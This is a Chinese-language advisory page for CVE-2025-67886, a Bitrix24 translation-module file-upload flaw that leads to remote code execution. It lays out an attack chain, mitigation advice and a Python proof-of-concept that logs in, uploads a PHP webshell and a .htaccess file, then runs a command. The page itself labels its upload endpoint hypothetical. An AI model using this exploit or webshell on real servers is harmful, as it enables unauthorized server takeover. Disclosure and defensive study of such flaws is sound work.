IPBUF安全漏洞报告
English
CVE-2025-67886 CVSS 6.3 中危

CVE-2025-67886 Bitrix24远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2025-67886
漏洞类型
远程代码执行
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Bitrix24

相关标签

RCEBitrix24文件上传权限绕过Web安全

漏洞概述

Bitrix24在25.100.300及之前版本中存在安全漏洞。拥有翻译模块SOURCE/WRITE权限的攻击者可上传恶意PHP文件和.htaccess文件。由于缺乏严格限制,攻击者可利用这些文件在服务器端执行任意代码,进而控制服务器。尽管供应商对此有争议,但这仍构成安全隐患。

技术细节

该漏洞源于Bitrix24翻译模块的文件上传机制未对高权限用户进行有效约束。具有SOURCE和WRITE权限的用户可以向翻译目录上传文件。攻击者能够上传包含恶意代码的PHP文件,并配合上传.htaccess文件以修改目录解析规则,确保Web服务器将上传文件作为PHP脚本执行。这种组合使得攻击者能够通过HTTP请求触发代码执行。虽然供应商辩称这是高权限用户的预期功能,但缺乏严格的文件类型和内容校验,导致了严重的安全风险。

攻击链分析

STEP 1
1. 信息收集与权限获取
攻击者获取拥有Bitrix24翻译模块SOURCE/WRITE权限的账户凭据。
STEP 2
2. 访问翻译模块
登录系统并导航至允许文件上传的翻译模块接口。
STEP 3
3. 上传恶意文件
上传包含Webshell的PHP文件,以及配置.htaccess文件以确保Web服务器解析PHP代码。
STEP 4
4. 执行代码
通过浏览器访问上传的PHP文件URL,触发服务器端代码执行,获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://target-bitrix-site.com" login_url = f"{target_url}/login.php" upload_url = f"{target_url}/bitrix/tools/translate_upload.php" # Hypothetical endpoint session = requests.Session() # 1. Authenticate (Requires valid credentials with Translate Module permissions) payload = { 'USER_LOGIN': 'attacker', 'USER_PASSWORD': 'password', 'AUTH_FORM': 'Y', 'TYPE': 'AUTH' } session.post(login_url, data=payload) # 2. Prepare malicious files # PHP Webshell php_content = "<?php system($_GET['cmd']); ?>" files_php = { 'file_translate': ('shell.php', php_content, 'application/x-php') } # .htaccess to force PHP execution htaccess_content = "AddType application/x-httpd-php .php" files_htaccess = { 'file_translate': ('.htaccess', htaccess_content, 'text/plain') } # 3. Upload PHP shell print("[*] Uploading PHP shell...") r1 = session.post(upload_url, files=files_php) # 4. Upload .htaccess print("[*] Uploading .htaccess...") r2 = session.post(upload_url, files=files_htaccess) if r1.status_code == 200 and r2.status_code == 200: print("[+] Files uploaded successfully.") # 5. Trigger the exploit exploit_url = f"{target_url}/bitrix/modules/translate/lang/shell.php?cmd=whoami" print(f"[*] Triggering exploit: {exploit_url}") r3 = session.get(exploit_url) print("[+] Response:") print(r3.text) else: print("[-] Upload failed.")

影响范围

Bitrix24 <= 25.100.300

防御指南

临时缓解措施
建议管理员立即审查用户权限,移除非管理员用户对翻译模块的写入权限。如非必要,请暂时禁用翻译模块功能。同时,应检查服务器日志中是否存在可疑的文件上传记录,并对Web服务器配置进行加固,防止目录遍历和脚本执行。

参考链接